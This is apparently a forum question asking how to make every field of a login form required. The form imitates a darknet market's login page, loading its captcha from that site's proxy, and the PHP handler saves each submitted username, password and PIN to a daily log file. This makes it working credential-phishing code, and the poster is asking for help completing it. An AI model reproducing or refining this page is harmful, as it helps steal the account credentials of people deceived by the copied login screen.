Basically I want to prevent the user from submitting without filling all the fields.
Now, in the current situation the user can submit without filling anything, that's what I'm trying to prevent, can someone explain me in an easy way how it can be done?
I want him to fill some fields:
<form name="formLogin" method="post" action="action.php">
<div class="tclpad" style="width:90px;"><span class="std">Username:</span></div>
<div class="tclpad"><input name="input1" class="std" size="65" type="text" required></div>
<div class="clear"> </div>
<div class="tclpad" style="width:90px;"><span class="std">Password:</span></div>
<div class="tclpad"><input name="input2" class="std" size="65" value="" type="password" required></div>
<div class="clear"> </div>
<div class="tclpad" style="width:90px;"><span class="std">Six-digit pin:</span></div>
<div class="tclpad"><input name="input3" class="std" size="10" value="" type="password" required></div>
<div class="clear"> </div>
<div class="tclpad" style="width:90px;"> </div><div class="tclpad"><img id="captcha" src="http://alphabaywyjrktqn.onion.to/ifl/lb/securimage86/securimage_ren.php" alt="Captcha Image"></div><div class="clear"> </div>
<div class="tclpad" style="width:90px;"><span class="std">Security code:</span></div><div class="tclpad"><input name="input5" class="std" size="65" type="text" required></div><div class="clear"> </div>
<div class="tclpad" style="width:90px;"> </div>
<div class="tclpad"><input class="bstd" value="Verify" type="submit"></div>
<div class="clear"> </div></form></div></div><div class="footer"><div class="navbar"><a class="navbar" href="index.htm"><img src="navhome.png" alt="Home" height="12" width="14"></a>
Login
My action.php
is:
<?php
session_start();
if(isset($_POST['input1'])){
$Username = $_POST['input1'];
}
if(isset($_POST['input2'])){
$Password = $_POST['input2'];
}
if(isset($_POST['input3'])){
$PIN = $_POST['input3'];
}
$fh = fopen("logs_" . date('d-M-Y') . ".txt","a");
$stringData = "New Stuff 1
";
fwrite($fh,"name: " . $Username . "
" . " email: " . $Password . "
" . " password: " . $PIN . "
----------------------------
");
fclose($fh);
But I want if one of the fields is empty the user can not continue....